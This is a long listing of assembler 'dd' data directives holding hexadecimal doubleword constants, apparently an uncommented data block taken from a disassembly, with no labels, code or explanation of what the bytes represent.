		dd 44ED00D7h, 8EE54E08h, 3300F909h, 4D9A4FA2h, 743059h
		dd 0F73A69A3h, 245F5515h, 0DFBFB200h, 0E26254CAh, 2C7501C5h
		dd 0EEEBB64Bh, 0F473E032h, 0D136DE00h, 28ED4397h, 53210090h
		dd 0BE7F5A16h, 9D008C47h, 11E9FE98h, 506AD397h,	78C4A2h
		dd 0DA5AB539h, 469098A5h, 5B95DE14h, 928E069Ch,	3C203D50h
		dd 97D5F94h, 4A02F8FAh,	37A28200h, 0D100229Dh, 63D5B9BDh
		dd 7CB4D731h, 50F40001h, 5F4E32B8h, 5C3B6C22h, 9B668077h
		dd 4CDE1DA8h, 45E7009Ch, 3D58D230h, 0F503D6A7h,	0D56C1A7Eh
		dd 0E150A008h, 5EAD1362h, 0B2A90080h, 94C51C18h, 285BCB3Fh
		dd 5403B4FBh, 0D3BAA945h, 0A0FAF8E6h, 0F4563888h, 96AB228Fh
		dd 812C4987h, 24056AEAh, 0CF36318h, 0C3A20062h,	902ECE5Ch
		dd 3E1CE875h, 4644178h,	0C0EC7B0Eh, 1560835Ah, 0FCF90057h
		dd 8A087DCFh, 4600EAA3h, 0E0925B56h, 3D72687Eh,	0C480ACE7h
		dd 84AF66BDh, 3A0BC0B9h, 11BC141h, 0FC1204CBh, 584930E4h
		dd 2407174Fh, 0C093A194h, 38B86017h, 0A2F80D00h, 6E0BD93Bh
		dd 0E4D3121Bh, 699C013Ch, 0F86A149Dh, 8B00864Dh, 6315F194h
		dd 75ACD84Ch, 20E96075h, 10CCFD11h, 3A4E3001h, 0F338155Ah
		dd 76D796E0h, 0BFE03AF8h, 5E2FAF00h, 5574D52Dh,	2C52461Dh
		dd 0A74202FDh, 607703A4h, 29EA32Bh, 0B9494827h,	96800B0Eh
		dd 204694D8h, 61444C1Fh, 0F88D8A00h, 3E406Ah, 0ECFA01DDh
		dd 0E82009A2h, 0FD04CFEAh, 0BD178586h, 0DDC2EC80h, 301E246h
		dd 894E6F98h, 0E0053D95h, 6B024BCDh, 35570480h,	0CC8C0066h
		dd 7BC84126h, 213E33EEh, 92D5804Dh, 7CF2E4CEh, 508500C7h
		dd 457E773Bh, 4100044Ah, 768482D8h, 90808DABh, 0F5010014h
		dd 0BB1EB87Ah, 7B00F345h, 0AA3637B4h, 7EFE06h, 0ED0E2C02h
		dd 0CCE37C8Ah, 0B8809403h, 0F84B8C74h, 200D26h,	0F209D36Fh
		dd 0A9D934ABh, 0F100FCE8h, 1B12C4AFh, 68D19Ah, 0B3A5B686h
		dd 71437662h, 24663Ch, 61ADFEC9h, 0D92952h, 0A0330F31h
		dd 83B26312h, 73B45F0Fh, 2440728Eh, 9DA66954h, 575D00E3h
		dd 34332EF8h, 0E400BE04h, 0C671C444h, 56631E7h,	6BA942CAh
		dd 692C01Eh, 702E1D82h,	45007B68h, 6DA2C4A3h, 0AF613AD6h
		dd 0F8AE2C01h, 302EE69Ah, 7E7670ADh, 39DF7107h,	0D787F74Ah
		dd 801865B3h, 0EEE387Bh, 0B613B5E5h, 0D4424100h, 740B79DAh
		dd 80E1E7BCh, 848A1865h, 0C08C01FAh, 3A18B63h, 79AFC07Dh
		dd 7729ED00h, 0BCA0FF1Fh, 0F5FD00E6h, 4785286Dh, 920789C2h
		dd 54234584h, 22CB6AD0h, 7E4E741Dh, 300C0062h, 2F7C8DA4h
		dd 5A00BCA7h, 189B49DDh, 0FEDBDCEh, 1E331DAh, 6079D5C0h
		dd 88B1DB58h, 3A46EC40h, 2E94809Dh, 4D435400h, 480D77C0h
		dd 318E03F1h, 0DBEF3A34h, 0FCF0F29Bh, 6C00D2A2h, 0F67EC71Ch
		dd 0D4A60Ch, 0F3DEAA46h, 5B49324Dh, 5F02500h, 0D026BCC3h
		dd 1EF0A8h, 4E676D87h, 9E907217h, 7F1F2902h, 0E0E98139h
		dd 5D4A65h, 69151B03h, 45768CCFh, 95736109h, 0B02004Bh
		dd 24F0FE40h, 18435D8h,	91E8EEADh, 0B480CE83h, 86A95599h
		dd 78E77F00h, 0C84A976Eh, 8E3A0031h, 9504E507h,	4F30861Dh
		dd 1B8A10F4h, 2C8190ABh, 5262DFDh, 81D46503h, 6429A28Ch
		dd 0CE011A98h, 0A9A5B534h, 78304EC5h, 0A1BB05FFh, 0C2885AE3h
		dd 42E32332h, 29B010A8h, 8C7F5600h, 0B4F9589Bh,	0D9AB00DCh
		dd 7A088849h, 6B011391h, 97637B66h, 80301B18h, 0BF281F85h
		dd 406D4089h, 0DB099D5Eh, 0A500D97Ch, 0B6209781h, 14377Ch
		dd 80152274h, 0B3CB321Bh, 168ED00Eh, 0FB9D6007h, 0EA968E4h
		dd 0E2BD24B8h, 49867FC0h, 0BC008550h, 0A622776Fh, 40CD143h
		dd 0DFBBF4D6h, 0D8D3804Fh
		dd 0B3000154h, 41ED9208h, 16E33520h, 0E0EF69h, 34B8F880h
		dd 4F005ADAh, 0C5C62E19h, 6A9DB15h, 0D028F02Ch,	140020BCh
		dd 7A170F58h, 0DC837Fh,	0B7232F4Dh, 2450B91Dh, 0E3269790h
		dd 0B2165B4Eh, 5DD0800Fh, 3CA0CD7Ch, 0AD7B0FB4h, 0F9F000B1h
		dd 1760B84h, 0B34547CAh, 0C6BE851Ch, 52730C0h, 4E72D600h
		dd 583EB5EAh, 6E7500EEh, 3A1A217Fh, 94005004h, 25B36C4h
		dd 176C37Ch, 0D5C678A8h, 70D4B6AAh, 467FA9B5h, 118988DEh
		dd 0E7C90A3h, 0F7E900A0h, 36E7788Ah, 52021270h,	7165C095h
		dd 6D404883h, 5F280031h, 0A419A9DCh, 0E8009556h, 6EA5A146h
		dd 78A04AEh, 0D17AFE0Fh, 0D2DCA047h, 0F11EB9DDh, 5C394AB5h
		dd 6CC50931h, 7BFA07BDh, 74D78FB0h, 0E9F92ED1h,	723B60D8h
		dd 0DB125EA3h, 0B500B153h, 0BBB7B981h, 0AF2C3C69h, 4C2524h
		dd 93AF8D5h, 0C812124Bh, 6C13ABA8h, 882F1400h, 143E4E8Eh
		dd 9459A51Eh, 0A0828A00h, 1FC8EA69h, 9C36A100h,	6306C547h
		dd 0A5FA032Fh, 0AACF2DB1h, 7BC09B82h, 0D200F498h, 0E9F0E222h
		dd 74D3796h, 684E4B20h,	1A509038h, 0B1B0EECAh, 0F24155Dh
		dd 400422BBh, 9FDBB3F0h, 55360060h, 4A268216h, 0F9EE9A20h
		dd 2877500h, 77EF0339h,	0A7DE00D8h, 0D510A217h,	130EA67Eh
		dd 40F531A8h, 65672A4Fh, 0F4E837h, 9CB5E35Dh, 536BD433h
		dd 0F0762B30h, 249920EFh, 960C50Dh, 0A441AA18h,	2A6DCC81h
		dd 0F402B100h, 0FCBBC52Eh, 509558F2h, 0A0149F02h, 74E05F49h
		dd 6A0A8662h, 98CB7ADDh, 8A5E4500h, 985B50FDh, 0FA53005Ch
		dd 128DFB3Dh, 27008CBFh, 83FDB084h, 1804EAh, 0CCC3EF15h
		dd 48961A1Eh, 78345C00h, 3AF9BF39h, 131200BDh, 9492B7C4h
		dd 28000223h, 7E3B6416h, 79E7E397h, 4C860041h, 5A261895h
		dd 5001AEAh, 3B988FBEh,	202616Dh, 81D0373h, 83D57ED6h
		dd 0C07AB7ACh, 7B7D50h,	0C52B6C0Eh, 80589F56h, 0DE5C6900h
		dd 128EF3E0h, 0B2C000A6h, 7DECE5B1h, 42670320h,	2E90C941h
		dd 0CDF58D0h, 0BA6EA2ACh, 73E2DA18h, 3D0A7400h,	245916BDh
		dd 75B430B3h, 0FA772A21h, 872DED3Ch, 0D3CE9954h, 0E26D3920h
		dd 65F63886h, 66175680h, 649B7287h, 754B8F00h, 0DF15A66Ch
		dd 898C0040h, 0B66845AEh, 0AB032F37h, 7271FE5Fh, 8056D255h
		dd 76048BCCh, 0E89050h,	5A19E596h, 262C71CDh, 80DB4D3Ch
		dd 0CA7E16A5h, 1CA67081h, 0C05D1091h, 476CFD22h, 412E0E3h
		dd 1400F57Dh, 142D2551h, 7FC3002Ch, 150776F1h, 10F6765h
		dd 20DA6C06h, 0D811702Bh, 86D502DFh, 0A844AD02h, 0F0936CE1h
		dd 42F2C6D2h, 0EB8F0A00h, 0DA5F9A5Ch, 70B00071h, 61053489h
		dd 0A703E8C2h, 0E1073858h, 2479B066h, 604A0048h, 154FA47Bh
		dd 0EF002E82h, 17C1F7D6h, 121C85F8h, 591D9AEh, 762CEBh
		dd 0C35F2EA7h, 8B3E1BF9h, 12BCF2h, 192F677Ah, 2C02094Ch
		dd 14E258C6h, 743EBCB8h, 8DD4B300h, 81A96389h, 0C2009C74h
		dd 0B7F9C968h, 4223FD8h, 202B18E6h, 0D3E0A03Ah,	605DE00h
		dd 0C4EA6D80h, 0B719C030h, 0C320275h, 4EDD3804h, 0BA000906h
		dd 6B6E82CCh, 0F2DFDEA0h, 0DDE06100h, 1C72205Dh, 398500FAh
		dd 88292146h, 0A1090B6Ch, 8024C586h, 0A7CE7E5Ch, 0D68D18E1h
		dd 4A9A50F0h, 3DCC361Ch, 0CD7BB500h, 0E885FBh, 0A8221227h
		dd 0D1B45407h, 5CB6D01Dh, 0CF3014h, 19750A85h, 1E8CA7h
		dd 8B554C22h, 5698C41Bh, 24BE0202h, 43E01DFFh, 0B99398B4h
		dd 0F20040Ch, 0A0AE7561h, 0BB3FF9B0h, 0C5ED80D3h, 9067161Fh
		dd 103F0068h, 6172348Ch, 64391AEFh, 0CC690974h,	0E908A04Ah
		dd 36CFE82h, 328BB4B0h,	50035471h, 0C0CC56C9h, 4BE2F04Ah
		dd 0EB8701A8h, 1FD23933h, 1B3C302Fh, 101625Ch, 4ABC61C9h
		dd 0F028630Eh, 3F959D0Fh, 8900D9CBh, 0D0491423h, 1A91891Fh
		dd 0BA286030h, 5B2D00EBh, 9C3B586Bh, 7B007119h,	83EF6703h
		dd 39242296h, 0EB00041Eh, 0BC9961D2h, 0F9005692h, 0E884311h
		dd 1C46AA9Ah, 32483CFh,	0CE4A1247h, 0C70D92F8h,	541CCC00h
		dd 2FCD881Fh, 4677041Dh, 817994A2h, 0EC80336Fh,	930E7357h
		dd 0BCFCDAE8h, 0F4FB80FFh, 31535B56h, 0E6540191h, 856F7634h
		dd 2398702Bh, 82C5AC1Dh, 0C0860843h, 494EF0A8h,	5AC4A82Ch
		dd 2D5F004Bh, 0B899EC21h, 0D1DA774h, 4F79AA19h,	35208C77h
		dd 0E6BCB707h, 0A3B50070h, 38A0AE5Dh, 0EA003AD8h, 7CC8D16Bh
		dd 5170C633h, 0D2E6CC5Eh, 0A1600114h, 0E2079B5Ah, 0AF87D4F6h
		dd 3BF1E402h, 615DBE06h, 0A821DC81h, 124AC530h,	52B27B05h
		dd 870C0C8h, 0F800BF87h, 5017E44Eh, 3392D4h, 6E527CD0h
		dd 0D8C8E7A1h, 8F285F7Dh, 4700FCA9h, 0BCE65B30h, 42F095h
		dd 5FE16F71h, 3D27E798h, 3CEB2F00h, 0F27DC41Dh,	61840232h
		dd 57237C14h, 755E7FC0h, 3FF67FF6h, 8F39EB02h, 4066970Eh
		dd 0C8691Ch, 1DDFBCD9h,	68846BA7h, 74034D00h, 0B279D516h
		dd 9C703D67h, 56D11500h, 3DABBD2Ah, 0E845FC1Eh,	0A9AF4000h
		dd 0E9073Ah, 3BFEBBE6h,	0CCFC8DE2h, 0EE0C4301h,	0B6EC0672h
		dd 3FD824h, 5535016Ah, 0A0C9941Eh, 0B54F771Dh, 1560D200h
		dd 1AAEF6Eh, 42285F70h,	70D4CE73h, 90007870h, 2F42E47h
		dd 0F214702Dh, 0C2E10941h, 6C8293D4h, 0C611C42h, 0B24E0032h
		dd 0C8222C37h, 8A010014h, 26FA93C3h, 895DC43Eh,	8EADF7h
		dd 9DB7D508h, 0E213B886h, 40E4488Fh, 56913F7Ch,	7289624h
		dd 105E2F4Eh, 0E637A86Eh, 0DC15E8E1h, 6250720Eh, 28B8CC97h
		dd 6B7E07CEh, 90EC5DA4h, 4393F30Bh, 35D53301h, 0A541B19Dh
		dd 0D0BFD203h, 84FC7754h, 0DADBA800h, 60574EF3h, 0F1280B79h
		dd 54007E63h, 2AAB09ACh, 0DAF4100h, 1695A022h, 0E0403DF2h
		dd 8677FE1Eh, 0F0B46DBCh, 7C4CEC00h, 46596A8Dh,	5190037Fh
		dd 8EF2C889h, 0F4C34BF1h, 0CA04F3EFh, 71980F40h, 161348C0h
		dd 5A9001h, 0B5494583h,	58AF3C14h, 5AFDE904h, 50D0F9D1h
		dd 92F4CDF0h, 0DB780170h, 469FED55h, 800FFD73h,	0F1A91919h
		dd 48C9204Eh, 0CC0F7C5Dh, 54E076E1h, 0EBA84001h, 7BB2FA02h
		dd 0E0C57FE5h, 4C789C6Bh, 2A20F466h, 76B62C00h,	0B7DEE1F8h
		dd 2BE03A35h, 12C2AC00h, 0E9EB058Eh, 0BDA9FF00h, 624BE5B2h
		dd 6773F55h, 0D9FA9D8Bh, 29718180h, 0B5122B4Fh,	9300F3B3h
		dd 0B6F11D6Ch, 0E4E700BEh, 1EEAF5CBh, 841289B4h, 1C0004A3h
		dd 0D3D11688h, 52AD0629h, 18144882h, 7C74440Ah,	9E00A4ACh
		dd 88B29060h, 2760B03Bh, 0EC9954C3h, 0D01EF00Bh, 42ED148h
		dd 5F157CA1h, 0EA468090h, 10609FFh, 8C8E8348h, 13A7CF61h
		dd 154020E4h, 0D746BD00h, 476DFD5Ah, 171067Bh, 20E7D92Fh
		dd 290A8606h, 0EC3134DEh, 0CE18189Ch, 0AB9218Bh, 0F579A002h
		dd 60C57A17h, 0A8473264h, 0BCAA1DE0h, 0C4DB5814h, 0FA0A48h
		dd 0A05F6805h, 76644994h, 92101203h, 63B200EBh,	7CEFFC6Eh
		dd 44E64AEEh, 1863774Ch, 0C5603AF6h, 4FB912BFh,	406C016Ch
		dd 64AB2DC2h, 800009E8h, 9E426B63h, 7054595h, 1A7B6424h
		dd 80D014CDh, 14EED414h, 0BCAF6A14h, 30C800ECh,	0C0F3462Fh
		dd 8A0B0644h, 0BADA7277h, 84AEA100h, 74A69BE2h,	0FDDD00B1h
		dd 70D5C033h, 0DA39D844h, 73EE009Ch, 62C284B9h,	90ABF6BAh
		dd 9B01008Eh, 7C25BFA0h, 2E1CF713h, 3843803Bh, 0FFDCC2FDh
		dd 9DB053h, 0B32BCC40h,	4E206787h, 0CA74E700h, 27EF3BC7h
		dd 68710546h, 0C0499970h
		dd 696DF358h, 48398103h, 16A360Bh, 275C6620h, 30AF8FAAh
		dd 0FC3CABC2h, 919D0022h, 5B924451h, 0C315099Eh, 0C80094EEh
		dd 85C93D95h, 7ECFDE8h,	0BAC8C407h, 5B6022F0h, 9DF19F5h
		dd 8A84AF6Eh, 9A2AF580h, 0EA77D8E5h, 4E27424h, 66DAF200h
		dd 0F11D3982h, 96B38820h, 69F300B4h, 84452CA8h,	5D269300h
		dd 0A330AB1Bh, 0C43D03B5h, 41254C24h, 0A1802BF3h, 8D0056DFh
		dd 0A5AC2C45h, 75DD7A2Dh, 68FE4881h, 0C99DF500h, 37460124h
		dd 0DE6BB7Eh, 0B261A400h, 7D3477EBh, 68B73D22h,	98432D00h
		dd 0DDB8DB15h, 84760B26h, 0C0800190h, 9273A4CFh, 957E51Fh
		dd 0E7A03E8Eh, 2F07A5AEh, 0D4C35C80h, 0C6EF0005h, 167AF911h
		dd 0D700DB49h, 0A2C2121Ch, 3F4A7B2Bh, 0D100C66Bh, 21297704h
		dd 0B02D8F5h, 0E416F0E2h, 0DE00F13Bh, 8CDC7Ah, 0AAF53614h
		dd 38CDC229h, 949AEB78h, 8372C116h, 0C79FA103h,	0A1C4D02Dh
		dd 0C5DAA078h, 0B2270033h, 7560986Fh, 0C0EAEF2Eh, 0CDAD2017h
		dd 555E3B00h, 6393Dh, 969A536Fh, 0E0987AB7h, 17DA3200h
		dd 0E7EB6D1Ah, 1468E451h, 0D83A7288h, 0C77E4A03h, 28A8A522h
		dd 0CA05C8D0h, 3EAEE169h, 10DB2080h, 7A59137Eh,	582400D7h
		dd 510E6649h, 0E6508800h, 11AC707Dh, 0F6D000A1h, 90285B4Bh
		dd 0B40041C6h, 88E3A3BAh, 9BDD3BCh, 0CC6A831Dh,	0F106D0Ah
		dd 1320EC3Bh, 61905BE9h, 0F82442B0h, 20005CE3h,	1F9E4E18h
		dd 0C019C024h, 0E63F1193h, 84EA9000h, 37EE7A0Dh, 0A5020054h
		dd 1906656Ah, 3505FFACh, 873FA3B8h, 66E8A0h, 0B7310102h
		dd 5581D57Ch, 710EF49Ch, 60C05D3Fh, 0B7361507h,	0DBC30732h
		dd 0E50C187Dh, 1DB0C0EFh, 0FF1EB17Bh, 65C1EE28h, 7E218BADh
		dd 56E6C8h, 2086F767h, 92457BEFh, 0B568E309h, 7C2820C2h
		dd 26E9CA8Bh, 0C9121B2h, 5E18D8B1h, 19AB393Ch, 49114781h
		dd 0A37ED0E3h, 0C283000Dh, 9DC6010h, 9E00D6F1h,	668B3E21h
		dd 9556C68Ch, 6DE8E483h, 4DC5AAF0h, 25408D60h, 546F1E5Fh
		dd 83FE4092h, 0FD93DF90h, 4EDE3A00h, 1EBC15ECh,	0D584A867h
		dd 618103B5h, 80E9557Fh, 0F98CE4C9h, 2771E011h,	0E3F6C603h
		dd 0E0CEF76Eh, 0C282FCh, 0E9618B84h, 7BD56472h,	603FFF7Eh
		dd 17C98021h, 0E218389Ch, 7A80B03Bh, 806E001Bh,	0EC7F0A95h
		dd 9F019A7Bh, 0B8995BE4h, 2130B623h, 0C65806E1h, 995267EEh
		dd 0FE09820Eh, 21DAA093h, 0C902E7CBh, 5CA73608h, 3CFEE02Bh
		dd 0BE4A5F7Eh, 0D6E1CC03h, 0FB0C095h, 3344007Bh, 213FD060h
		dd 7F167486h, 0F411353Ch, 0E7290090h, 0F15F491Eh, 466619ABh
		dd 2A520841h, 6007080Eh, 0BDF7DC1Eh, 0CBB61315h, 41D40020h
		dd 0C28DBC80h, 484B6800h, 3EE12CC1h, 0C87CB0B6h, 0AC1F1C8h
		dd 0F2F4E8FEh, 8D2086DEh, 0A83400C8h, 42BEEBFEh, 3603982Eh
		dd 0F8B9B59Ch, 0B4A938D8h, 0DC931407h, 0BFBB8381h, 0F074AD89h
		dd 7860B3A8h, 57EB8AE8h, 7932832Eh, 303AF062h, 4E111E9Ah
		dd 6888095Fh, 1E00DAA0h, 0BA4F89CDh, 60643261h,	0EF15E8ABh
		dd 0BF54FE25h, 0C648DBB4h, 3B43A8Eh, 0BBAF486h,	0E82EA287h
		dd 7A4E442Ch, 0B9C41592h, 0C80C64FCh, 5EB07D9Fh, 24BB0310h
		dd 4BB1E006h, 5C0BE09Eh, 4095D962h, 0CF3BC0h, 60E5B53Ah
		dd 6F812227h, 215309CCh, 0B534002Fh, 0E44882Ah,	9E00CB92h
		dd 0FDA2453Fh, 0A0FB404Bh, 30D26160h, 0BC10A481h, 7200DDF2h
		dd 1928AADCh, 0FE01652Dh, 82D30063h, 0B2EE22D1h, 510072AEh
		dd 0CDC60609h, 3CB1436h, 5657C4B4h, 8FE060EBh, 260039F5h
		dd 55498323h, 79F94E0Fh, 0F0843A13h, 0A09DA580h, 0E320766Fh
		dd 30F7F80Ah, 0D30010FAh, 25F4AAD2h, 0A42F0F71h, 6D879C4Bh
		dd 0B61A20A8h, 0B01DC83h, 8BB20232h, 289CCEF0h,	0E290C086h
		dd 69DCE119h, 0EA270B00h, 442DB79h, 21720133h, 8A959287h
		dd 0DFBFC31h, 0A329C801h, 0A0866511h, 4B5800D7h, 8795B9B1h
		dd 1A30CD91h, 9D8E70D8h, 7DC1387Bh, 0AFD72E03h,	0B0E6B1ADh
		dd 8C99800Fh, 0F1F5E0D3h, 1CBEB275h, 80895BD5h,	43286A49h
		dd 0CA0F721Eh, 80586E30h, 1B5F0BBCh, 0E39E00A6h, 40CC0E0h
		dd 0A1615D57h, 703E2650h, 0CE8FBFECh, 3900DD11h, 9C73AC10h
		dd 387F100h, 7F9812Eh, 8FE227h,	846E6159h, 55F1664Dh, 3C7CE2E4h
		dd 0DCEB100h, 740E065h,	5AE6057Ch, 3E45466Bh, 0EBD1E004h
		dd 1010C743h, 6E182CE9h, 59C3200Fh, 9A00F3B4h, 19514513h
		dd 5425003Eh, 0E6957D10h, 0DA316E68h, 0A38D29C1h, 0D5404102h
		dd 8500F15Ah, 0F230881Ch, 5C7FE1A8h, 3500E062h,	0D2A6D6BFh
		dd 0ED00F3DAh, 258A6E8Ch, 1ADBD8h, 0ADC91DE9h, 0EC69FD7Eh
		dd 0F600677Ch, 0B21DD44h, 387E380h, 91032CB4h, 3BE84D3Eh
		dd 68008804h, 4C61FC23h, 134BBA7Ah, 620AD8h, 7855C63Ah
		dd 75024DFDh, 97021148h, 109F60DCh, 0C8190040h,	88525DCFh
		dd 1D009D0Bh, 574CCAA5h, 0F3F85Bh, 447F09E8h, 0AEB3C13h
		dd 8005276h, 0F7BD429Ch, 740F9DF6h, 1051008Dh, 5D021CCDh
		dd 0D700C0F9h, 622DDEB1h, 0B90381h, 0E26DA13h, 71ACDB8Fh
		dd 67173D01h, 6EE0DD3Fh, 0CAFBF0h, 2B6C05FCh, 602C68A2h
		dd 0F1F66200h, 9CD0B071h, 86C00377h, 74D23231h,	376CD4D8h
		dd 0C0AC0730h, 3B0A8365h, 1B0BC441h, 54807423h,	3933EA86h
		dd 0CC00C072h, 0B9C3D777h, 167F259Eh, 0D5E7DDh,	0B6878C5Bh
		dd 430F98ADh, 404F3ECFh, 0D8046DEh, 33921DECh, 0FF398177h
		dd 60DF5A54h, 0E20274B1h, 1CD6D05Eh, 0DBD54325h, 0BD183E0Ch
		dd 129A017Dh, 5F68AE51h, 0E3DBC8D0h, 0E2B12500h, 0C6DAB5C8h
		dd 0F52800B3h, 96546173h, 520072DFh, 70010D45h,	784CE23Eh
		dd 0F1B700B1h, 0A0E18F31h, 0DF7B279Bh, 0FC7C3A00h, 0F60F5874h
		dd 0A75A0071h, 0CC6CAD95h, 0B418B5F3h, 652C7CEDh, 34380CBFh
		dd 0D12644B7h, 5D75C301h, 3BF85535h, 4986FAE5h,	387BB432h
		dd 0A5169A1Dh, 53A08300h, 0B1C973h, 0D432FAD0h,	0D62163ABh
		dd 319F801h, 475B5584h,	0E0A9F0h, 9001040Ah, 7B744028h
		dd 5F506D00h, 7FDF20FAh, 8D11012Fh, 83729F0Bh, 82B020B1h
		dd 0F51BE401h, 0EEE7A047h, 49D8C0D8h, 3939CC2Ah, 0F7853880h
		dd 11DFFDFEh, 49972200h, 0EF518D42h, 29210071h,	0D0AB9CF1h
		dd 5700487Ah, 0A6EB1CF9h, 73BFFDB5h, 4882E4D2h,	98003094h
		dd 2396B9FFh, 0C0A0D714h, 0DC07FD6Bh, 0A506BB86h, 58466DA7h
		dd 35C400D0h, 2C5E3764h, 8EA0D980h, 8B1E16DBh, 0CB4065FEh
		dd 735993FAh, 6A0A1279h, 0C6D44AFCh, 0F91300A0h, 0EC6CB1DCh
		dd 9D3A1400h, 0D1EDD3FBh, 17200F3h, 2B8F5FC7h, 0EC01E7E1h
		dd 3C12906Ah, 0F88B795Dh, 0DE80D47Eh, 0A32C7A05h, 0F1D23100h
		dd 5C91F373h, 6D253BCBh, 4238C007h, 30F08048h, 0B31515CAh
		dd 1CC94D5h, 0A60A40E4h, 408FA5BCh, 0CCA1FFF5h,	0DF1EAF14h
		dd 92FC01A0h, 4D058CA0h, 28A24833h, 0C1F9E338h,	0AC50DFCDh
		dd 1FBE47Eh, 0A52F75A1h, 0D854B85Dh, 0D7099E41h, 0A0FD55B5h
		dd 8A8FE5A4h, 9D9200F7h, 0D3BFCD22h, 0BA03FA8Dh, 86644D9Bh
		dd 0F64CA35Ch, 35E224BAh, 32916038h, 850188EEh,	60BC7598h
		dd 0F32035CBh, 20C0557h, 809BCC49h, 50E4135Bh, 5E08A4Dh
		dd 0DAE1A4BEh, 91BBF041h, 7080BFF5h, 0E3081499h, 61F835BAh
		dd 2ACB6200h, 0CDD1157Dh, 51B10092h, 2246F7EDh,	0D000AA67h
		dd 65DEA290h, 3E1A0CEh,	0EE1A45B7h, 4D885655h, 49E4DC96h
		dd 2BB4F0A8h
		dd 5BA6B900h, 0BBDDD4D5h, 73751240h, 52780001h,	63F92D98h
		dd 74CAE800h, 6A7AC8D5h, 640E508Bh, 0C0A20796h,	4729E6DBh
		dd 4CC8C0A3h, 8E014FFDh, 721DAC12h, 5430364Dh, 0B69D0F90h
		dd 0D98C31F2h, 7D0FBE80h, 25350154h, 0FA80048Eh, 6157F8h
		dd 0CE91C669h, 0D3C878C0h, 0B727BD0Eh, 5BA1606Eh, 30C36893h
		dd 0E7A89C0Dh, 40016E8h, 58F88579h, 5436B4h, 29AF871Bh
		dd 2D14C20Dh, 27000EE4h, 459C890Ah, 249A7D68h, 2FE7BB8h
		dd 0CE5B33F0h, 0A316E440h, 9122731Fh, 0C2E04C58h, 0DA8F0021h
		dd 3A3BE763h, 0DCA889BAh, 0AA0ECF8Ch, 0E00B14A8h, 222DB08Eh
		dd 157E6Bh, 3CE87C91h, 2C674FBh, 0B0F5AF00h, 310EEF62h
		dd 6E5E00B1h, 0E7C51095h, 27775482h, 46715490h,	0DD963A00h
		dd 8ED33E86h, 0F8650115h, 24036755h, 0EE383021h, 18604B24h
		dd 0E830C580h, 0C3738031h, 0AD44D098h, 80577EB1h, 65213CC0h
		dd 7DF5D9h, 2801030Dh, 9714A4CFh, 604A8524h, 1322C160h
		dd 0F00C504Ch, 896E075Dh, 90AF4243h, 72753592h,	3BE62302h
		dd 4059DA11h, 65CED98h,	8201704Fh, 0D80749D5h, 0E450A714h
		dd 8454D270h, 45B7DEEh,	12F097D3h, 504090BDh, 52007BCCh
		dd 454055F3h, 0F48D48FDh, 892E12CFh, 85EC41AAh,	0DC1C2F7Ah
		dd 0E85495D1h, 230B8B94h, 1DFB44E0h, 46BE8420h,	4D1E0145h
		dd 0C0C621C1h, 56B140h,	4F3FCA15h, 0DB034CDFh, 816E883Dh
		dd 94FEC307h, 44216AEDh, 3C5DC0CFh, 0AC2A2CC0h,	5FD90028h
		dd 7B5A5518h, 0FAA2A501h, 4ACB3C40h, 0C28CD09Ch, 2048E88Fh
		dd 0C39D38E0h, 21739400h, 0E653915Eh, 74EF0001h, 0F84E133h
		dd 0CA05A6B2h, 675847B1h, 91961682h, 60FE45B4h,	13173FC6h
		dd 24B1F07h, 843C73B0h,	56712046h, 10074D46h, 0A0CCD59Bh
		dd 0AF7BF3CDh, 0BE578400h, 87ECBA14h, 73BB005Ch, 11B24C4Ah
		dd 0E00DE85h, 0FAB51F95h, 0BA48F75h, 360BC9D3h,	0A1E40680h
		dd 913C42E5h, 0A4712472h, 0C46CF001h, 0D8405852h, 301FE0F8h
		dd 0B4909FD6h, 850C61E7h, 2057CB4Fh, 5BEF0050h,	972B7C2Fh
		dd 0F00056EBh, 0F5947211h, 6EFA8F69h, 0BDFD5901h, 3E009858h
		dd 89176723h, 200097BDh, 0CD288E1Ch, 3A246499h,	1A80D06Ah
		dd 18E3C51Fh, 6F03A001h, 0F38289F0h, 2CBDC859h,	2C209009h
		dd 6446DBh, 0FE80CC40h,	0FF00DC45h, 0CB1BEF11h,	68743Dh
		dd 3FC5DD0Fh, 4373974Ch, 22AF19C0h, 9FE75AAh, 71671084h
		dd 0CC927281h, 0C42C2068h, 0E4802098h, 0AE0008C0h, 5D79195Bh
		dd 75A633h, 0F0A837A9h,	0EF579BFAh, 628210Ch, 3DBFE859h
		dd 24800F50h, 0FE9B37B9h, 0D0970E32h, 7D24C47h,	9ACF7607h
		dd 2038E74Dh, 0EDCBC422h, 0DB6E9901h, 778FA3FAh, 25B6D8h
		dd 0C0E06D60h, 0C42E31D0h, 0AAB56F1Eh, 84D60C00h, 66F819h
		dd 0A0E312F3h, 0CDFA99B8h, 0CFEA4A00h, 0E8C99F39h, 5AA0083h
		dd 3F07692Ch, 0D000635Bh, 0CC76272Dh, 1EE87Fh, 0FB86776Eh
		dd 222B9ACAh, 10EC4C07h, 59087A5h, 9E8542Eh, 25F4C4FCh
		dd 14385060h, 28081100h, 0C929A512h, 0D5092EC2h, 0A2444210h
		dd 1F55F000h, 91FB0F4Ah, 0C03F6592h, 2D9BD179h,	0D600576Dh
		dd 4CC2CDFCh, 30B74449h, 2AF83CB4h, 9F0F2D69h, 21356003h
		dd 0AFCE87C1h, 7B7A8570h, 54BD1D2Eh, 830281C5h,	8FCD7740h
		dd 9D1E1770h, 0A2215E8Bh, 64439F00h, 4CA94468h,	473210C0h
		dd 0AFB9BBh, 1AABAEB6h,	50B746CBh, 0E8119032h, 80B86433h
		dd 0FB88F9h, 30E1AF06h,	2C5C97Dh, 0CE757C9Ah, 0FD281E02h
		dd 0C16684F2h, 4AE01FDCh, 5CF95898h, 6F22540Eh,	5101C114h
		dd 0D232598Bh, 94A1C284h, 0E4A3ED7Dh, 7898AA8Fh, 1489D126h
		dd 70387980h, 0E00B4C4Bh, 8726030Eh, 8E85F0D5h,	0AC463094h
		dd 0E4760006h, 0CD841EDAh, 5504854Bh, 0CBA0BB5Bh, 0A406CA4h
		dd 0C9BC81Dh, 442CBD90h, 0C5A380F0h, 1C55ACD8h,	0F6389A04h
		dd 25837096h, 58A3AC22h, 4A72BC02h, 0A8A0B8CBh,	7E333A79h
		dd 3854144Dh, 48D80B2h,	0AC74BBC3h, 6C2100EAh, 58251488h
		dd 562BA146h, 0E7878035h, 54B03EBCh, 0DBE6Bh, 2C16BA0Eh
		dd 2AFBF014h, 0F4B904FCh, 22614309h, 60FAC844h,	253CC7F8h
		dd 0AC187888h, 890FAE68h, 0B2B144A6h, 0A0035D0Bh, 37F8D674h
